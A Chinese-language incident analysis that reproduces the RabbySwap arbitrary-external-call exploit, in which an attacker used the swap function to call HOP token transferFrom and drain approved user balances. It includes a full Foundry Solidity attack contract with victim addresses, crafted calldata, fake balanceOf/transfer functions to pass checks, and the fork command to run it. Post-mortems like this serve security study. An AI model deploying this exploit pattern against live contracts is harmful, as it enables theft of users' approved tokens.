阅读本文之前,可以先阅读下面这篇文章,本文是基于下面这篇文章提供的材料对RabbyWallet的攻击进行复现和分析的。
选取的攻击交易为
这笔交易试图盗取6名用户的HOP代币资产,其中2人因为approve为0逃过一劫,另外4人的HOP代币全部被转走。
我们先来看一个正常的RabbySwap交易。
大家可以看一下图中被我圈起来的部分,ZeroEx::sellToUniswap.
因为RabbySwap本身并没有流动池,所以它其实只是一个中转站,它还需要在自己的swap函数中调用其他dex的接口。在上面的例子中,调用了0x的接口,然后0x又去调用了sushi。
RabbySwap的代码并没有开源,不过我们可以在它的一份代码审计报告中看到一些代码片段。巧合的是,其中恰好有个片段是_swap(),它应该就是swap接口的核心逻辑所在。
其中的关键是我在图中圈起来的部分——dexRouter.functionCallWithValue,应该就是这个函数完成了对外部dex的调用完成了swap过程。
functionCallWithValue是openzeppelin的库函数,最终会被转为dexRouter.call{value: value}(data)
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
这是一个可怕的操作,用户可以通过调整swap函数的入参dexRouter和data,让这里随意调用任意合约的任意方法,正是这里给了攻击者可乘之机。
攻击交易中多次调用了Rabby的swap接口,我们只看其中一个。
和上面的正常交易对比,最明显的不同是ZeroEx::sellToUniswap被替换成了HOPToken::transferFrom,本来是应该调用0x的兑换接口完成token兑换,这里却调用HOP代币合约的transferFrom函数,把HOP转到了黑客的钱包。这就是任何合约函数调用的可怕之处,不需要获取任何管理员权限,轻松偷到了代币。
根据链上交易的执行过程,我写了如下代码重现了黑客的这一攻击交易。
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
contract TestScript is Script {
function setUp() public {
}
function run() public {
AttackContract attackInstance = new AttackContract();
uint256[] memory victims = new uint256[](6);
victims[0] = 0x0000000000000000000000000753cfbc797abfce05abaacbb1e6ae032feb5f1d;
victims[1] = 0x0000000000000000000000001eef1739bd82968725d9919bceb11ed9616a4da5; // allowance = 0
victims[2] = 0x0000000000000000000000007d7abdce70d3b346b2cae671b450792d73785b38;
victims[3] = 0x0000000000000000000000008e283b2383d0e4c68d064438e9113a48b467ec40;
victims[4] = 0x0000000000000000000000009a74ec99bd88eca680485da7f32fca05af375dcf; // allowance = 0
victims[5] = 0x000000000000000000000000eeff1559b2876e90a6cf341ac4d37e84dba5e8c5;
uint256 hopTokenAddr = 0x000000000000000000000000c5102fe9359fd9a28f877a67e36b0f050d81a3cc;
attackInstance.batchAttack(victims, hopTokenAddr);
}
}
contract AttackContract {
address constant rabby = 0x6eb211CAF6d304A76efE37D9AbDFAdDC2d4363d1;
address constant receiver = 0x9682f31b3f572988f93C2B8382586ca26A866475; // attacker's EOA address
function batchAttack(uint256[] calldata victims, uint256 token) external {
for (uint i = 0; i < victims.length; i++) {
attack(address(uint160(victims[i])), address(uint160(token)));
}
}
function attack(address victim, address token) internal {
address srcToken = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // USDT
uint256 amount = 0;
address destToken = address(this);
uint256 minReturn = 4660;
address dexRouter = 0xc5102fE9359FD9a28f877a67E36B0F050d81a3CC;
address dexSpender = 0xc5102fE9359FD9a28f877a67E36B0F050d81a3CC;
uint256 amountOwned = IERC20(token).balanceOf(victim);
uint256 amountApproved = IERC20(token).allowance(victim, rabby);
if (amountOwned == 0 || amountApproved == 0) return;
bytes memory data;
// avoid stack too deep
{
bytes4 transferSig = 0x23b872dd;
uint256 victimAddr = uint160(victim);
uint256 attackerAddr = uint160(receiver);
uint256 transferAmount = amountOwned < amountApproved ? amountOwned : amountApproved;
// b1-b7 is useless in attack transaction
bytes32 b1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
bytes32 b2 = 0x0000000000000000000000000000000000000000000000000000000000000002; // array len
bytes32 b3 = 0x000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7; // USDT
bytes32 b4 = 0x000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee; // ETH pseudo-token address.
bytes4 b5 = 0x869584cd;
bytes32 b6 = 0x0000000000000000000000001000000000000000000000000000000000000011;
bytes32 b7 = 0x00000000000000000000000000000000000000000000005f5265d161634262ef;
bytes memory dataTemp = abi.encodePacked(transferSig, victimAddr, attackerAddr, transferAmount,
b1, b2, b3, b4, b5, b6, b7);
data = dataTemp;
}
uint256 deadline = 1665403089111;
RabbySwap(rabby).swap(srcToken, amount, destToken, minReturn, dexRouter, dexSpender, data, deadline);
}
function balanceOf(address addr) public returns(uint256) {
return 100000000000000000000;
}
function transfer(address to, uint256 amount) external returns (bool) {
return true;
}
}
interface IERC20 {
function balanceOf(address addr) external view returns(uint256);
function allowance(address owner, address spender) external view returns (uint256);
}
interface RabbySwap {
function swap(address srcToken, uint256 amount, address dstToken, uint256 minReturn, address dexRouter, address dexSpender,
bytes calldata data, uint256 deadline) external;
}
运行forge script script/Test.s.sol --fork-url $ETH_RPC_URL --fork-block-number 15724450 -vvvv --tc TestScript即可运行:
其中核心函数是function attack(address victim, address token),这个函数构造了对transferFrom的调用。关键是下面几行代码:
transferSig是bytes4(keccak256(”transferFrom(address,address,uint256)”).
victimAddr、attackerAddr、transferAmount是transferFrom的三个参数,分别是受害者地址,黑客地址、转移代币数额。其中转移代币数额可以通过受害者拥有的代币数和approve的代币数取最小值获得,这两个数字都可以通过HOP合约查到。
uint256 amountOwned = IERC20(token).balanceOf(victim);
uint256 amountApproved = IERC20(token).allowance(victim, rabby);
if (amountOwned == 0 || amountApproved == 0) return;
bytes memory data;
// avoid stack too deep
{
bytes4 transferSig = 0x23b872dd;
uint256 victimAddr = uint160(victim);
uint256 attackerAddr = uint160(receiver);
uint256 transferAmount = amountOwned < amountApproved ? amountOwned : amountApproved;
......
}
下面这些变量,其中b1-b4在正常交易中是用来指定swap路径的,b5-b7我没看出来是做什么的。
不过在攻击交易中,这些变量并没有发挥作用,实际上,如果把它们去掉,攻击交易依然可以正常执行。
// b1-b7 is useless in attack transaction
bytes32 b1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
bytes32 b2 = 0x0000000000000000000000000000000000000000000000000000000000000002; // array len
bytes32 b3 = 0x000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7; // USDT
bytes32 b4 = 0x000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee; // ETH pseudo-token address.
bytes4 b5 = 0x869584cd;
bytes32 b6 = 0x0000000000000000000000001000000000000000000000000000000000000011;
bytes32 b7 = 0x00000000000000000000000000000000000000000000005f5265d161634262ef;
在Rabby的的函数中,最后还有一些简单的校验,判断换出的token数目有没有超过最小额。然后会把换出来的代币发送给调用者。攻击合约还需要做一些修改通过这些校验和后续发送操作。
攻击交易实际上是假装自己在用USDT换另一种token,可能是为了方便,黑客把这个token地址就设定为这个合约本身,然后为这个合约实现了balanceOf和transfer函数,只要让balanceOf返回一个很大的数字、transfer函数返回true就可以轻松通过校验。
function attack(address victim, address token) internal {
address srcToken = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // USDT
uint256 amount = 0;
address destToken = address(this);
uint256 minReturn = 4660;
......
}
function balanceOf(address addr) public returns(uint256) {
return 100000000000000000000;
}
function transfer(address to, uint256 amount) external returns (bool) {
return true;
}
认真分析攻击交易之后可以发现,整个攻击过程简单到让人瞠目,没有盗取管理员权限的花哨操作,只是简单的构造了swap接口的入参。究其原因,还是因为RabbySwap的合约中包含了一个非常危险的任何合约函数调用,且几乎没有做任何有效的校验。
让我感到困惑的是,为什么这样明显有风险的代码会被部署上链,如果真的是审计没有发现,对审计公司也算是个事故吧?